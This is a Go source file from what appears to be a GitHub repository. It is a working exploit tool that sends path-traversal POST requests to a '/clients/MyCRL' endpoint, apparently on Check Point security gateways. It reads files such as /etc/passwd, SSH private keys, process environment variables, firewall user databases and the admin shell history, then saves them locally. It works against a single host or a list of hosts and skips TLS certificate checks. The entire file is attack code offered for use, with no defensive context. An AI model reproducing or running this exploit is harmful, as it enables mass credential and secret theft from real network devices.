-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
220 lines (188 loc) · 5.91 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
package main
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"time"
"github.com/fatih/color"
)
func getFilePaths() []string {
return []string{
"/etc/hosts",
"/etc/passwd",
"/etc/ssh/sshd_config",
"/proc/self/environ",
"/.ssh/id_rsa",
"/root/.ssh/id_rsa",
"/config/active",
"/var/opt/CPsuite-RomPager/4/fw1/conf/fwauth.conf",
"/var/opt/CPsuite-R81.20/fw1/database/fwauth.NDB",
"/var/opt/CPsuite-R80.20/fw1/database/fwauth.NDB",
"/var/opt/CPsuite-R80/fw1/database/fwauth.NDB",
"/var/opt/CPsuite-R77.30/fw1/database/fwauth.NDB",
"/opt/fw1/database/fwauth.NDB",
"/opt/CPsuite-RomPager/4/fw1/conf/users.C",
"/home/admin/.clish_history",
"/home/admin/.bashrc",
"/home/admin/.bash_history",
"/flash/top_last_hour_report.json",
"/etc/resolv.conf",
"/etc/profile.d/CP.sh",
"/etc/issue",
"/etc/cp-release",
"/database/fwauth.NDB",
"/config/initial_db",
"/config/active_db",
}
}
func validateHost(host string) bool {
ipPortRegex := regexp.MustCompile(`^\d{1,3}(\.\d{1,3}){3}(:\d+)?$`)
return ipPortRegex.MatchString(host)
}
func makeRequest(client *http.Client, host string, filePath string) error {
url := fmt.Sprintf("https://%s/clients/MyCRL", host)
method := "POST"
requestBody := fmt.Sprintf("aCSHELL/../../../../../../../%s", filePath)
req, err := http.NewRequest(method, url, bytes.NewBufferString(requestBody))
if err != nil {
return fmt.Errorf("error creating request: %w", err)
}
req.Header.Add("Host", host)
req.Header.Add("Content-Length", fmt.Sprintf("%d", len(requestBody)))
req.Header.Add("Connection", "keep-alive")
res, err := client.Do(req)
if err != nil {
if !strings.Contains(err.Error(), "EOF") {
return fmt.Errorf("error making request: %w", err)
}
return nil
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
return fmt.Errorf("error reading response body: %w", err)
}
if res.StatusCode == http.StatusNotFound {
color.Red("File %s NOT FOUND", filePath)
} else {
color.Green("Response for %s:", filePath)
fileName := filepath.Base(filePath)
hostDir := filepath.Join(".", host)
if _, err := os.Stat(hostDir); os.IsNotExist(err) {
os.Mkdir(hostDir, os.ModePerm)
}
filePath := filepath.Join(hostDir, fileName)
err = ioutil.WriteFile(filePath, body, 0644)
if err != nil {
fmt.Printf("Failed to write to file %s: %v\n", filePath, err)
} else {
fmt.Printf("Data saved to file %s\n", filePath)
}
}
return nil
}
func processHost(client *http.Client, host string, filePaths []string) {
for _, filePath := range filePaths {
var err error
for i := 0; i < 3; i++ {
err = makeRequest(client, host, filePath)
if err == nil {
break
}
fmt.Printf("Attempt %d: %v\n", i+1, err)
time.Sleep(2 * time.Second)
}
if err != nil {
fmt.Printf("Failed to fetch %s after 3 attempts\n", filePath)
}
}
}
func main() {
host := flag.String("host", "", "The target host, e.g., 0.0.0.0:4433")
all := flag.Bool("ALL", false, "Iterate through a list of file paths")
file := flag.String("file", "", "File with a list of hosts")
flag.Parse()
if *host == "" && *file == "" {
color.New(color.BgRed, color.FgWhite).Println("Either host or file flag is required")
flag.Usage()
return
}
if *host != "" {
if !validateHost(*host) {
color.New(color.BgRed, color.FgWhite).Println("Wrong input for host")
flag.Usage()
return
}
}
if *file != "" {
hostsFile, err := os.Open(*file)
if err != nil {
fmt.Printf("Failed to open hosts file: %v\n", err)
return
}
defer hostsFile.Close()
hosts, err := ioutil.ReadAll(hostsFile)
if err != nil {
fmt.Printf("Failed to read hosts file: %v\n", err)
return
}
for _, host := range strings.Split(string(hosts), "\n") {
if host == "" {
continue
}
if !validateHost(host) {
color.New(color.BgRed, color.FgWhite).Println("Wrong input for host in file:", host)
flag.Usage()
return
}
}
}
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
transport := &http.Transport{
TLSClientConfig: tlsConfig,
}
client := &http.Client{
Transport: transport,
Timeout: 30 * time.Second,
}
filePaths := getFilePaths()
if *file != "" {
hostsFile, err := os.Open(*file)
if err != nil {
fmt.Printf("Failed to open hosts file: %v\n", err)
return
}
defer hostsFile.Close()
hosts, err := ioutil.ReadAll(hostsFile)
if err != nil {
fmt.Printf("Failed to read hosts file: %v\n", err)
return
}
for _, host := range strings.Split(string(hosts), "\n") {
if host == "" {
continue
}
fmt.Printf("Processing host: %s\n", host)
if *all {
processHost(client, host, filePaths)
} else {
processHost(client, host, []string{"/etc/passwd"})
}
}
} else if *host != "" {
if *all {
processHost(client, *host, filePaths)
} else {
processHost(client, *host, []string{"/etc/passwd"})
}
}
}